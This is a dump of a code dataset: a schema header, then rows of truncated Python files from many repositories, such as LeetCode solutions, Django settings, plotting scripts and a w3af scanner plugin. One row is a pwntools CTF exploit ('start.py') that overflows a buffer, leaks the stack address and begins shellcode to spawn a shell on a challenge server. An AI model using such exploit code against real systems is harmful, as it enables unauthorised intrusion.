blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
3
288
content_id
stringlengths
40
40
detected_licenses
listlengths
0
112
license_type
stringclasses
2 values
repo_name
stringlengths
5
115
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringclasses
684 values
visit_date
timestamp[us]date
2015-08-06 10:31:46
2023-09-06 10:44:38
revision_date
timestamp[us]date
1970-01-01 02:38:32
2037-05-03 13:00:00
committer_date
timestamp[us]date
1970-01-01 02:38:32
2023-09-06 01:08:06
github_id
int64
4.92k
681M
star_events_count
int64
0
209k
fork_events_count
int64
0
110k
gha_license_id
stringclasses
22 values
gha_event_created_at
timestamp[us]date
2012-06-04 01:52:49
2023-09-14 21:59:50
gha_created_at
timestamp[us]date
2008-05-22 07:58:19
2023-08-21 12:35:19
gha_language
stringclasses
147 values
src_encoding
stringclasses
25 values
language
stringclasses
1 value
is_vendor
bool
2 classes
is_generated
bool
2 classes
length_bytes
int64
128
12.7k
extension
stringclasses
142 values
content
stringlengths
128
8.19k
authors
listlengths
1
1
author_id
stringlengths
1
132
f92bdc62fa76b59090edc88420ad797e65e5b5b8
e17483ba000de9c6135e26ae6c09d9aa33004574
/ipynbs/流程控制/src/lock.py
527e33d048a10128a19edbe32bb8ce76108c1492
[ "Apache-2.0" ]
permissive
HAOzj/TutorialForPython
27ae50c6b9fb3289ae7f67b8106d3d4996d145a7
df7a6db94b77f4861b11966399f5359d00911a16
refs/heads/master
2020-03-17T09:19:45.199165
2018-04-02T13:33:27
2018-04-02T13:33:27
133,470,105
1
0
null
2018-05-15T06:35:01
2018-05-15T06:35:01
null
UTF-8
Python
false
false
360
py
import multiprocessing import sys def worker_with(lock, f): with lock: with open(f,"a+") as fs: fs.write('Lock acquired via with\n') if __name__ == '__main__': f = "source/file.txt" lock = multiprocessing.Lock() w = multiprocessing.Process(target=worker_with, args=(...
ef81636e011ddbfe54443ed35eb0808243aee7ec
7e40c8bb28c2cee8e023751557b90ef7ef518326
/pwnable_start/start.py
a51348673cc5407c52bddaa973546e1794ed2e67
[]
no_license
1337536723/buuctf_pwn
b6e5d65372ed0638a722faef1775026a89321fa3
cca3c4151a50c7d7c3237dab2c5a283dbcf6fccf
refs/heads/master
2023-08-29T19:35:04.352530
2021-11-16T14:06:20
2021-11-16T14:06:20
null
0
0
null
null
null
null
UTF-8
Python
false
false
483
py
from pwn import * context.log_level = "debug" #p = process('./start') p = remote('node4.buuoj.cn', 28412) call_write = 0x8048087 payload = b'a' * 0x14 + p32(call_write) p.sendafter(b"Let's start the CTF:", payload) esp = u32(p.recv(4)) print('esp -> {}'.format(hex(esp))) shellcode=''' xor ecx,ecx push ecx push 0x6...
fe351d2472b7dbfcf0af804a27e8f390c8ff6337
4ddf82eeb31d46fb67802a4375390eb42a8f23b8
/tests/misc/sys_settrace_subdir/trace_generic.py
111a9d19ff30dda48e0212bcf758d99032cd8a9c
[ "MIT" ]
permissive
pulkin/micropython
1437a507b9e90c8824e80c3553e6209d89e64565
c274c947c611f510fd2b1c4ef6cbd9f4283794fc
refs/heads/master
2023-03-08T02:35:28.208819
2022-04-19T12:38:47
2022-04-19T12:38:47
167,732,676
103
36
MIT
2023-02-25T03:02:36
2019-01-26T19:57:59
C
UTF-8
Python
false
false
1,540
py
print("Now comes the language constructions tests.") # function def test_func(): def test_sub_func(): print("test_function") test_sub_func() # closure def test_closure(msg): def make_closure(): print(msg) return make_closure # exception def test_exception(): try: raise...
48853301e1d5994fd62e2e7ac0424f3762a446ea
3a4fbde06794da1ec4c778055dcc5586eec4b7d2
/@lib/01-18-2008-01/vyperlogix/win/registry/reg_walker.py
cc8b06833bd146af47d7804a83c6d80b046dc6b6
[]
no_license
raychorn/svn_python-django-projects
27b3f367303d6254af55c645ea003276a5807798
df0d90c72d482b8a1e1b87e484d7ad991248ecc8
refs/heads/main
2022-12-30T20:36:25.884400
2020-10-15T21:52:32
2020-10-15T21:52:32
304,455,211
0
0
null
null
null
null
UTF-8
Python
false
false
2,134
py
import _winreg __copyright__ = """\ (c). Copyright 2008-2011, Vyper Logix Corp., All Rights Reserved. Published under Creative Commons License (http://creativecommons.org/licenses/by-nc/3.0/) restricted to non-commercial educational use only., http://www.VyperLogix.com for details THE AUTHOR VYPER LOG...
c7dfc7725d763e85132830b5dcd849e65bf137c2
bf0d7c8d987d5fda14208eb9ce70e31c83c25c25
/c-ex4/plot_logs.py
6151e8784b9f8a3d48023b055e5894d81ed693d0
[]
no_license
SummerBigData/SamRepo
7876e9393c7175e300e175a60c17633c3b23a1bb
fd84ad654370faa48c084349952c2921fde4032d
refs/heads/master
2020-03-18T05:09:08.787956
2018-06-18T17:11:49
2018-06-18T17:11:49
134,327,137
0
0
null
null
null
null
UTF-8
Python
false
false
1,894
py
import numpy as np import pandas as pd from plotly.offline import plot import plotly.graph_objs as go import os dirs = os.listdir('logs') dirs = list(filter(lambda f: os.path.isdir('logs/'+f), dirs)) data = dict() for name in dirs: if not os.path.isfile('logs/'+name+'/cost_and_acc.csv'): print name + '...
4f5bd2145ed1e3def380adc78118dd2eac97e1b4
d66141796bcaf9b1f895be0226f7400ca8d579cf
/color_histogram/core/hist_common.py
8804159b85f6d765fc442976f017235e42123ff9
[ "MIT" ]
permissive
absbin/ColorHistogram
51004ca4bad2b83ff9f496cb6097d654fa30583f
0743376d5d89d4c8aacc986bb3d64a0098877480
refs/heads/master
2020-04-21T17:37:15.035363
2019-02-10T19:50:09
2019-02-10T19:50:09
169,741,939
0
0
MIT
2019-02-08T13:51:22
2019-02-08T13:51:22
null
UTF-8
Python
false
false
1,733
py
# -*- coding: utf-8 -*- ## @package color_histogram.core.hist_common # # Common color histogram functions for 1D, 2D, 3D. # @author tody # @date 2015/08/29 import numpy as np def colorCoordinates(color_ids, num_bins, color_range): color_ids = np.array(color_ids).T c_min, c_max = color_range ...
81519b9144aeb9c939806eb0d2d04dafbbf4b122
52b5773617a1b972a905de4d692540d26ff74926
/.history/sets_20200609191647.py
c8142142fb9e8aff031b9767f3c3d70a3fcfbf5a
[]
no_license
MaryanneNjeri/pythonModules
56f54bf098ae58ea069bf33f11ae94fa8eedcabc
f4e56b1e4dda2349267af634a46f6b9df6686020
refs/heads/master
2022-12-16T02:59:19.896129
2020-09-11T12:05:22
2020-09-11T12:05:22
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,131
py
import json def Strings(str): # dictionary--> key value pairs values = {} newArray = [] keys = [] for i in str: newArray.append(i.split(":")) for j in range(0,len(newArray)): if newArray[j][0] in values: values[j][0] += int(newArray[j][1]) el...
ba97fb24529d7aa94bd21ccf716216cc351abd99
3437c90948fef98f3db081b741b96d50666b2a39
/api/views.py
0164884433e2f10716eb991bd19c55e9dfe8d968
[]
no_license
jimrollenhagen/WhatManager3
897080e5125c0bbb5bce8366b0eb5ca1118e1bc8
fb14b3527f6263045471fdd48384f1f7007c5bc0
refs/heads/master
2020-12-03T10:26:34.324705
2014-10-22T05:03:10
2014-10-21T21:57:12
25,735,775
1
0
null
null
null
null
UTF-8
Python
false
false
2,477
py
# Create your views here. from django.http.response import JsonResponse from django.views.decorators.csrf import csrf_exempt from django.views.decorators.http import require_POST from api.management import ApiManager from torrents.client import TorrentManagerException from torrents.models import ClientTorrent from tra...
d2ca79b04e4f33f3da1aacc21ab5523ec50d6cc0
6fa625feb79934951985ddfa3889886abbe0dc8e
/crawlers/ddgmuiWyoming/wyoming.py
29a664e5f3caed892131c88183e08f5b65b083ba
[]
no_license
anukaisolutions/Vayudev
b539ab085aac1fd285953289f7bff9b47bfeb080
905f749d1678ab36211b1ead1dd005ce03221d72
refs/heads/master
2021-01-13T19:16:41.775458
2020-02-23T14:06:50
2020-02-23T14:06:50
242,467,839
1
0
null
null
null
null
UTF-8
Python
false
false
773
py
def getData(year,month,form1,to,statio): url = "http://weather.uwyo.edu/cgi-bin/sounding?region=seasia&TYPE=TEXT%3ARAW&YEAR="+year+"&MONTH="+month+"&FROM="+from1+"&TO="+to+"&STNM="+station import requests response = requests.get(url) response = str(response.content) # print(response.content) na...
4bc1e9b731c78cf2eade21f26145cd1de06357af
49536aafb22a77a6caf249c7fadef46d63d24dfe
/tensorflow/tensorflow/contrib/learn/python/learn/estimators/rnn_common_test.py
5df08f5fdc138fbb912f8ebcd33bc37ce60bc5d2
[ "Apache-2.0" ]
permissive
wangzhi01/deeplearning-1
4e5ad93f0d9ecd302b74352f80fe1fa6ae70bf0d
46ab82253d956953b8aa98e97ceb6cd290e82288
refs/heads/master
2020-05-28T03:14:55.687567
2018-09-12T16:52:09
2018-09-12T16:52:09
null
0
0
null
null
null
null
UTF-8
Python
false
false
4,952
py
# Copyright 2017 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by...
62bca78d93bc3f22a19ac5decef2c0c10190c48a
5f36eba5cf27cda8198cad11f0486d379a5ca9f0
/gen_features.py
f35b063158b60ce886115751c8f5d62fdfe819e8
[ "MIT" ]
permissive
A-Jacobson/iEEG_Seizure_Prediction
16354a67cb5c429935d1ce00f1c1647349ddb9ea
bdee7f4aab72674e01af7ec254b5d6ec7f65e620
refs/heads/master
2020-07-06T13:05:46.155605
2016-09-16T22:02:19
2016-09-16T22:02:19
67,307,587
0
0
null
null
null
null
UTF-8
Python
false
false
1,760
py
from pipeline import Pipeline from eeg_io import load_data from transforms import * import multiprocessing as mp pipelines = [ # statstical features Pipeline([Mean()]), Pipeline([Mean(), Abs()]), Pipeline([Abs(), Mean()]), Pipeline([Stats()]), Pipeline([CorrelationMatrix()]), # Pipeline([C...
505e010e347cb6852cbd67ae05cfa5a801a854ef
de24f83a5e3768a2638ebcf13cbe717e75740168
/moodledata/vpl_data/88/usersdata/197/59698/submittedfiles/listas.py
42280df62eb2e1e110c8e6ea113e2b5f83248d61
[]
no_license
rafaelperazzo/programacao-web
95643423a35c44613b0f64bed05bd34780fe2436
170dd5440afb9ee68a973f3de13a99aa4c735d79
refs/heads/master
2021-01-12T14:06:25.773146
2017-12-22T16:05:45
2017-12-22T16:05:45
69,566,344
0
0
null
null
null
null
UTF-8
Python
false
false
557
py
# -*- coding: utf-8 -*- def degrau (a): b=[] for i in range (0,len(a)-1,1): diferenca=(-1)*(a[i]-a[i+1]) b.append(diferenca) return (b) def maior (a): maior=a[0] for i in range (0,len(a),1): if a[i]>maior: maior=a[i] return (maior) def maiordegrau (lista): ...
f4ffb83165231227b2683d436abb21d63dea3822
f0d713996eb095bcdc701f3fab0a8110b8541cbb
/q7BdzRw4j7zFfFb4R_16.py
f9daf2b8e0b3ec99b99073498e00d7020dc7733f
[]
no_license
daniel-reich/turbo-robot
feda6c0523bb83ab8954b6d06302bfec5b16ebdf
a7a25c63097674c0a81675eed7e6b763785f1c41
refs/heads/main
2023-03-26T01:55:14.210264
2021-03-23T16:08:01
2021-03-23T16:08:01
350,773,815
0
0
null
null
null
null
UTF-8
Python
false
false
1,028
py
""" Create a function that takes two lists and combines them by alternatingly taking elements from each list in turn. * The lists may be of different lengths, with at least one character / digit. * The first list will contain string characters (lowercase, a-z). * The second list will contain integers (all pos...
a9afdee321162791bb14de296c179bfd662c9631
46c31992b665615e410f1869b9f7a91ed57a2637
/couchbase/tests/cases/rget_t.py
c7a8cd4db499d9584d590617ed33a4396847008a
[ "Apache-2.0" ]
permissive
what-studio/couchbase-python-client
4bca31917a519ad2d61bc93f37faa7f4af81d32d
1aa78f1559fe2407d664b7d5fd1f885359750147
refs/heads/master
2021-01-12T08:34:06.866811
2016-12-02T00:05:15
2016-12-02T16:31:24
76,612,814
1
1
null
2016-12-16T02:09:30
2016-12-16T02:09:29
null
UTF-8
Python
false
false
3,351
py
# # Copyright 2013, Couchbase, Inc. # All Rights Reserved # # Licensed under the Apache License, Version 2.0 (the "License") # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable l...
43196f723a7336bcf3a95d9474d07b8fbaf707fd
e72c937f783e79f41468d992fead4e2085de1775
/src/week 4/day 3/using_object_main.py
159e6f58b74160936df6aa2ce755b28005e8a72b
[]
no_license
NoroffNIS/Python_Examples
13dac7313472a9cdefe66a61302f4024a4a8af0f
ffab09002d3549e6f440a303fccc0fd61bb80472
refs/heads/master
2021-04-26T06:04:33.034864
2018-01-03T13:26:19
2018-01-03T13:26:19
59,116,302
0
0
null
null
null
null
UTF-8
Python
false
false
179
py
from objects import * my_object = ClassName print(my_object.__doc__) print(my_object.class_variable) my_object.class_method(my_object) my_object.print_class_variable(my_object)
7b1f66dd10d8d19462a808b9915411777c07b644
e1292fb9f2b359f71fbc54a4eb6ae4cf0c1ff51d
/machines/rasppi32/socket_server.py
18c67fe41ecbe2ebc0ace9dc89691c92450be8f2
[]
no_license
JNRiedel/PyExpLabSys
879d5c6bf552e89134629f0c6ca011af67937c3d
b69daaa9c932b9264d9f731cc3f2091f31f5d36e
refs/heads/master
2020-04-08T08:45:17.466865
2014-08-22T11:06:24
2014-08-22T11:06:24
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,797
py
""" Socket server for valve-control box """ import time import SocketServer import wiringpi2 as wp class MyUDPHandler(SocketServer.BaseRequestHandler): def handle(self): received_data = self.request[0].strip() data = "test" socket = self.request[1] if received_data =...
18764b8e0e245a262c3d95f37922342280da279e
54f352a242a8ad6ff5516703e91da61e08d9a9e6
/Source Codes/AtCoder/agc015/B/4420123.py
e240646ff0645ed09389907878e7f5bc4ba5d2a1
[]
no_license
Kawser-nerd/CLCDSA
5cbd8a4c3f65173e4e8e0d7ed845574c4770c3eb
aee32551795763b54acb26856ab239370cac4e75
refs/heads/master
2022-02-09T11:08:56.588303
2022-01-26T18:53:40
2022-01-26T18:53:40
211,783,197
23
9
null
null
null
null
UTF-8
Python
false
false
158
py
s = input() n = len(s) ans = 0 for i, c in enumerate(s): ans += n-1 if c == "U": ans += i else: ans += n-1 - i print(ans)
3acd29f1a10016eb1f86cb5cf195ad30bb94dd36
e79de9c9def60b0f814ab0625a2eb8bce3428ddd
/challenges/own/operas/operas_solution.py
0f21f23d8e6186991dd3ca538f90015a1629a287
[]
no_license
mh70cz/py_old
a80e2140a279541c3639f89df70fadad34f7df0f
1af878cfbff24e5c6d39219c2c4faebd5a12f0c4
refs/heads/master
2022-04-05T15:07:10.840387
2020-01-13T18:39:50
2020-01-13T18:39:50
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,202
py
""" For two given composers find operas (one of composers is the author) at which premiere both could have been together (i.e. they both had to be alive). Just a theoretical possibility of presence is considered """ from datetime import datetime composers = { "beethoven": ("Ludwig van Beethoven", "17 December 17...
a643359cdc06e3dad758fb3aebf4acc8e8ccfee6
5e48c355308cfe3fe84835f3d56218a53f7968cd
/dvc/parsing/__init__.py
b173de4384e38b7898d811d2d2e19cb55d2b293d
[ "Apache-2.0" ]
permissive
imhardikj/dvc
97b6637f75d90e9f3f708211aec07e3da2fa205f
911534116e4f870f87b05caf2bed38e105a205ad
refs/heads/master
2023-01-05T04:01:46.308634
2020-10-29T09:01:34
2020-10-29T09:01:34
264,737,803
0
0
Apache-2.0
2020-05-17T19:08:07
2020-05-17T19:08:06
null
UTF-8
Python
false
false
3,764
py
import logging import os from collections import defaultdict from copy import deepcopy from itertools import starmap from typing import TYPE_CHECKING from funcy import first, join from dvc.dependency.param import ParamsDependency from dvc.path_info import PathInfo from dvc.utils.serialize import dumps_yaml from .con...
ac3f36b00c738fcffba08b38b22ace5d60c3a19f
2656f92d8329bc1b28188802badc7b3a945fa978
/src/platform/railo/authenticate.py
8ee7b6a90b019f5aa138fc25923c9a2625b4583e
[ "MIT" ]
permissive
koutto/clusterd
81828698574bc7301cd4eb0ad87d3115ddf74612
93db0a50210dcc6147c3122a539104a36e92f02b
refs/heads/master
2020-05-03T17:51:55.430955
2019-03-31T23:20:22
2019-03-31T23:20:22
178,751,876
2
1
MIT
2019-03-31T23:04:14
2019-03-31T23:04:13
null
UTF-8
Python
false
false
2,588
py
from src.platform.railo.interfaces import RINTERFACES from requests.utils import dict_from_cookiejar from collections import OrderedDict from sys import stdout from log import LOG import state import utility def _auth(pswd, url, title): """ Support auth for both the web and server interfaces """ ...
668781a6f78564088417314c29bba0050a82a1a5
8d55d3a52ed6dc8111801cea9c7c9d0a84be736b
/src/1392.longest-happy-prefix.py
3b5ddbab31d9da69b9465e8818f5c3b68d1a952b
[]
no_license
mic0ud/Leetcode-py3
2a23270034ec470571e57c498830b93af813645f
61fabda324338e907ce3514ae8931c013b8fe401
refs/heads/master
2022-12-26T11:52:31.666395
2020-09-27T19:27:10
2020-09-27T19:27:10
297,135,944
0
0
null
null
null
null
UTF-8
Python
false
false
1,748
py
# # @lc app=leetcode id=1392 lang=python3 # # [1392] Longest Happy Prefix # # https://leetcode.com/problems/longest-happy-prefix/description/ # # algorithms # Hard (39.14%) # Likes: 191 # Dislikes: 15 # Total Accepted: 8K # Total Submissions: 20.1K # Testcase Example: '"level"' # # A string is called a happy pre...
0b0904c3cb0fa4f9689e280d90bb751078b85fb6
3474b315da3cc5cb3f7823f19a18b63a8da6a526
/scratch/KRAMS/src/apps/scratch/faezeh/lab/cell_lab/shell.py
93472192968f601cf1db0bcfe727b1175ea20d64
[]
no_license
h4ck3rm1k3/scratch
8df97462f696bc2be00f1e58232e1cd915f0fafd
0a114a41b0d1e9b2d68dbe7af7cf34db11512539
refs/heads/master
2021-01-21T15:31:38.718039
2013-09-19T10:48:24
2013-09-19T10:48:24
29,173,525
0
0
null
2015-01-13T04:58:57
2015-01-13T04:58:56
null
UTF-8
Python
false
false
3,462
py
''' (C)2004 ORFEUS This is the default python module file. It has been generated by the modtree administrator Import the generated Python module in order to - initialize the required modules and - load the compiled module extension library of this module ''' # Here you can add your own code ... #!/usr/bin/env py...
[ "Axel@Axel-Pc" ]
Axel@Axel-Pc
70476e212daa4321863e86fabbc6752a86a59967
d5219de4d3e4bef5c8c71e209158dd92d4f8a011
/project/config/settings/common.py
a1d862bdb54494fd64d57ad3cdfcf6166a07ffa9
[ "MIT" ]
permissive
ilmoeuro/asylum
1932de32ae6db6b34d1609775d5ff9037130fe02
88d48d59cba58738bf141142bae7d1182cf4d5e7
refs/heads/master
2021-01-24T23:13:09.090463
2015-11-27T21:56:21
2015-11-27T21:56:21
47,000,716
1
0
null
2015-11-27T21:53:40
2015-11-27T21:53:40
null
UTF-8
Python
false
false
8,123
py
# -*- coding: utf-8 -*- """ Django settings for asylum project. For more information on this file, see https://docs.djangoproject.com/en/dev/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/dev/ref/settings/ """ from __future__ import absolute_import, unicode_lite...
b00094732bf4e992d6d1f015c038435845b72877
f15d9b6513a053258e1b96fe54d14ee84e92b33a
/wirefox/db/moz_places.py
561d64e34c1c1363ef89b2f1850d4faf8d44a68b
[]
no_license
amol9/wirefox
867cbd00c9e250bd91509dfbc1baf751871d8f42
3f8561d0c6d01773d510bae337b9348132e3a5c8
refs/heads/master
2021-01-13T21:14:12.091991
2017-03-13T14:29:14
2017-03-13T14:29:14
81,830,235
0
0
null
null
null
null
UTF-8
Python
false
false
1,096
py
from .time_window import TimeWindow from .firefox_db import FirefoxDB class MozPlaces: def __init__(self): self._firefox_db = None def query(self, url=None, title=None, start_time=None, end_time=None, period=None): if self._firefox_db is None: self._firefox_db = FirefoxDB() ...
758eb49de79ccd0c369067efc4283f514df09080
f77b0f2cc709b9670e6b4dc7145a6ea5368585d2
/templates/compiled/macros/grids.py
6c7879946fd4f337eb9525497945a87c107b0aa0
[]
no_license
sgammon/StonerHub
45ccac6bd349200bbc75c494002c3ffeb082dcb8
a81f7fdd2c7118c6cea3c25ef9f53f272d27b0cc
refs/heads/master
2021-01-20T10:54:47.546251
2011-11-07T12:02:20
2011-11-07T12:02:20
2,664,437
0
0
null
null
null
null
UTF-8
Python
false
false
408
py
from __future__ import division from jinja2.runtime import LoopContext, TemplateReference, Macro, Markup, TemplateRuntimeError, missing, concat, escape, markup_join, unicode_join, to_string, identity, TemplateNotFound def run(environment): name = 'source/macros/grids.html' def root(context, environment=environ...
e5735a8778ca5d33468e7d9caf2b4a808fae37fb
bbe0cb13a7d9ba461b2af6a69f18f8e7ef2301fe
/code_processing/Lc2D.1.0e-02_LcSlab.1.0e-02/calc_k_vs_t.py
772e49ece97cb6b3a37614a19f8f80df774f52ae
[]
no_license
jimsrc/corpad
b52b841f0a1b8ddca98236d4a61a9d6079699aff
60756729b3cc1206352b95b2038f87b75ac749ef
refs/heads/master
2021-03-27T10:10:39.756497
2018-02-04T18:04:58
2018-02-04T18:04:58
99,851,623
0
0
null
null
null
null
UTF-8
Python
false
false
3,055
py
## from funcs import * import os def generate_k_vs_t(Ek, dir_data): dir_info = '%s/info' % dir_data fname_orient = '%s/orientations.in' % dir_info fname_plas = '%s/plas.in' % dir_info fname_turb = '%s/turb.in' % dir_info NPLAS = count_lines_in_file(fname_orient) # orden del nro max de giroperiodos order_tmax ...
566ce5e5e8474e086d441fd7c8275b972cf78d88
45c170fb0673deece06f3055979ece25c3210380
/toontown/building/DoorTypes.py
80898b9b1397fad9906528cf98341b9f7b720109
[]
no_license
MTTPAM/PublicRelease
5a479f5f696cfe9f2d9dcd96f378b5ce160ec93f
825f562d5021c65d40115d64523bb850feff6a98
refs/heads/master
2021-07-24T09:48:32.607518
2018-11-13T03:17:53
2018-11-13T03:17:53
119,129,731
2
6
null
2018-11-07T22:10:10
2018-01-27T03:43:39
Python
UTF-8
Python
false
false
207
py
#Embedded file name: toontown.building.DoorTypes EXT_STANDARD = 1 INT_STANDARD = 2 EXT_HQ = 3 INT_HQ = 4 EXT_HOUSE = 5 INT_HOUSE = 6 EXT_COGHQ = 7 INT_COGHQ = 8 EXT_KS = 9 INT_KS = 10 EXT_ANIM_STANDARD = 11
de4286376cdead9bc0b4496d09485374ed60e6cc
7202b4cf562fcacf2f684c1985b448b5780c4967
/itp1/07c.py
6be9c7cdedee836bbe698a934c291f7e9f692031
[]
no_license
mskt4440/AOJ
ce523182dbd75e85c1bba43d7d23217711b8e617
f6d9ca36e77a88ed9ddbeb53340a745bf8cac157
refs/heads/master
2021-07-07T00:34:23.034606
2020-09-24T02:25:43
2020-09-24T02:25:43
188,768,314
0
0
null
null
null
null
UTF-8
Python
false
false
396
py
# # 7c # def main(): r, c = map(int, input().split()) T = [] S = [0 for _ in range(c+1)] for i in range(r): C = list(map(int, input().split())) C.append(sum(C)) T.append(C) for i in range(r): for j in range(c+1): S[j] += T[i][j] T.append(S) for i ...
ed43ef6c060ebc2daed645b5f334029f9b430d09
95d20fe737d711cf92d68130eb59b6aef4435ec2
/正则表达式/非捕获分组.py
651491d6f2bb7a136ac85dd6e1b2fef4dc0d1d70
[]
no_license
CCH21/Python
d11b93851579d85f972828c760a96c5be1f79531
33e218810856971f3f1f97a2b8a4c8dce761362e
refs/heads/master
2022-04-29T11:48:01.816283
2022-03-17T11:53:01
2022-03-17T11:53:01
226,452,057
1
0
null
null
null
null
UTF-8
Python
false
false
195
py
import re s = 'imgl.jpg, img2.jpg, img3.bmp' # 捕获分组 p = r'\w+(\.jpg)' mlist = re.findall(p, s) print(mlist) # 非捕获分组 p = r'\w+(?:\.jpg)' mlist = re.findall(p, s) print(mlist)
82b049d66f3602dbc6cae01e74fd629f0634ef53
b4cf3438011c9521561143e677736c611ff19a0c
/boxx/ylsys.py
7643ca805dfe8ff7b284b931db1a46f85be72c4c
[]
no_license
BUCT-Vision/boxx
3e5c24af20c06d4943dc04859e6cbfb577fe8a48
3d405c9ad744d2ff9f6f5d9efb1e31962474565b
refs/heads/master
2020-03-18T17:35:18.573106
2018-09-18T02:49:10
2018-09-18T02:49:10
135,037,392
2
0
null
2018-09-18T02:49:11
2018-05-27T10:44:44
Python
UTF-8
Python
false
false
3,683
py
#!/usr/bin/env python2 # -*- coding: utf-8 -*- """ A module provide system info and Python Info for boxx @author: yanglei """ import sys, os from os import environ def jupyterNotebookOrQtConsole(): env = 'Unknow' cmd = 'ps -ef' try: with os.popen(cmd) as stream: if not py2: ...
05f71de710935c9f61b9d68da2dd6130d14c0aef
76027f6d013e12ca4fda95957e0cedbef1779def
/leetcode/84-Hard-Largest-Rectangle-In-Histogram/answer.py
73fea12149d06b2de3f14d2834336d5e705517c6
[ "Unlicense" ]
permissive
BenDataAnalyst/Practice-Coding-Questions
79a56617f27a5b2b8d5d9650057a9b0128b9becf
4c21ab38b75389cfb71f12f995e3860e4cd8641a
refs/heads/master
2020-07-23T13:31:48.965116
2019-09-09T16:23:09
2019-09-09T16:23:09
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,555
py
#!/usr/bin/python3 #------------------------------------------------------------------------------ # Solution O(n) Stack Solution #------------------------------------------------------------------------------ class Solution(object): def largestRectangleArea(self, heights): """ :type heights: List...
1523bd6cee28d5286c62ffee8fe3728695519c71
7deda84f7a280f5a0ee69b98c6a6e7a2225dab24
/Manage/migrations/0015_draft_request_user.py
5f6519727e28bb0c0b16dca2a87445ff181ff05d
[]
no_license
Cornex-Inc/Coffee
476e30f29412373fb847b2d518331e6c6b9fdbbf
fcd86f20152e2b0905f223ff0e40b1881db634cf
refs/heads/master
2023-01-13T01:56:52.755527
2020-06-08T02:59:18
2020-06-08T02:59:18
240,187,025
0
0
null
2023-01-05T23:58:52
2020-02-13T05:47:41
Python
UTF-8
Python
false
false
401
py
# Generated by Django 2.1.15 on 2020-05-04 22:27 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('Manage', '0014_auto_20200503_1043'), ] operations = [ migrations.AddField( model_name='draft', name='request_user',...
02d97dde72d76aa6fba06b86768511a2925fe6f3
d9b53673b899a9b842a42060740b734bf0c63a31
/leetcode/python/medium/p494_findTargetSumWays.py
44d6f3cbbfbba1910bfe6c636afae6b5d7481421
[ "Apache-2.0" ]
permissive
kefirzhang/algorithms
a8d656774b576295625dd663154d264cd6a6a802
549e68731d4c05002e35f0499d4f7744f5c63979
refs/heads/master
2021-06-13T13:05:40.851704
2021-04-02T07:37:59
2021-04-02T07:37:59
173,903,408
0
0
null
null
null
null
UTF-8
Python
false
false
969
py
class Solution: def __init__(self): self.helper = {} def findTargetSumWays(self, nums, S: int) -> int: if not nums: return 0 if self.helper.__contains__(tuple([len(nums), S])): return self.helper[tuple([len(nums), S])] if len(nums) == 1: if S ...
74dc0695aadeb764d830515c0fcfee9c3c7fce09
5f4e13201d4c5b7edc8dbbda289380682a187bec
/deps/scikit-image/doc/examples/filters/plot_deconvolution.py
e934221396c76735c9652da0a75a70f6b0ab65a3
[ "MIT", "BSD-3-Clause" ]
permissive
intellivoid/CoffeeHousePy
92f4fb344de757837c3d3da05cb5513e90408039
57c453625239f28da88b88ddd0ae5f1ecdd4de3c
refs/heads/master
2023-02-23T14:32:01.606630
2021-01-28T02:57:10
2021-01-28T02:57:10
324,419,067
0
2
null
null
null
null
UTF-8
Python
false
false
1,678
py
""" ===================== Image Deconvolution ===================== In this example, we deconvolve an image using Richardson-Lucy deconvolution algorithm ([1]_, [2]_). The algorithm is based on a PSF (Point Spread Function), where PSF is described as the impulse response of the optical system. The blurred ima...
739a057d4d441fd18cf2d851c70c964bdf3dd74e
9f1b8a1ada57198e2a06d88ddcdc0eda0c683df7
/submission - Homework1/ALEXANDER T KOHLROSER_2240_assignsubmission_file_HW1/HW1/index_nested_list.py
ca01168c4a25471ab1064be8afb0e0ea61dca486
[]
no_license
sendurr/spring-grading
90dfdced6327ddfb5c311ae8f42ae1a582768b63
2cc280ee3e0fba02e95b6e9f45ad7e13bc7fad54
refs/heads/master
2020-04-15T17:42:10.781884
2016-08-29T20:38:17
2016-08-29T20:38:17
50,084,068
0
0
null
null
null
null
UTF-8
Python
false
false
382
py
q = [['a','b','c'],['d','e','f'],['g','h',]] print q[0][0] #calls the top right print q[1] #calls the middle row print q[2][1] #calls the second column of the third row print q[-1][-2] print("This calls [2][0] because it goes one left from the first place which would then call the equivalent of [2]. Then it travel...
fc884806482e9cabe64688601017f54570459f99
515a97129ce1b2b8eecca4b2087fde8985b82d5b
/Code-Scraps/old_modules/SpiceGif/gif/Thumbs_Up.py
cd3625bd689d898907897679c0cf84a12536f03c
[]
no_license
SpiceBot/scraps
3ad6e81ac75e2b6a684fea64eb7e75477b0f4f63
90125e1397b57ac87cae5f3e506363aa04ddffdc
refs/heads/master
2020-05-02T21:51:01.297114
2019-03-28T15:38:28
2019-03-28T15:38:28
178,232,887
0
0
null
null
null
null
UTF-8
Python
false
false
1,676
py
#!/usr/bin/env python # coding=utf-8 from __future__ import unicode_literals, absolute_import, print_function, division import sopel.module import urllib2 import json from BeautifulSoup import BeautifulSoup from random import randint import sys import os moduledir = os.path.dirname(__file__) shareddir = os.path.dirname...
3b5c2be55f423005b409da55eb4cb003a822b22f
84c9a6fb5e18741f14a55d0d737e2a556383770d
/venv/Lib/site-packages/w3af/plugins/infrastructure/server_header.py
9b95285e772beba1b79e247989486a937a290603
[]
no_license
AravindChan96/Vulcan
638a1db2f84df08bc50dd76c7f142014d529fbec
5548a6f36f04108ac1a6ed8e707930f9821f0bd9
refs/heads/master
2022-11-05T15:05:54.224578
2020-06-19T20:44:14
2020-06-19T20:44:14
273,396,348
1
1
null
null
null
null
UTF-8
Python
false
false
6,343
py
""" server_header.py Copyright 2006 Andres Riancho This file is part of w3af, http://w3af.org/ . w3af is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation version 2 of the License. w3af is distributed in the hope th...
4b83674f41dfe0e01b5e0deb3e30fb897f25bc5a
977f1105b3a475055631689523b1dcef951c7f72
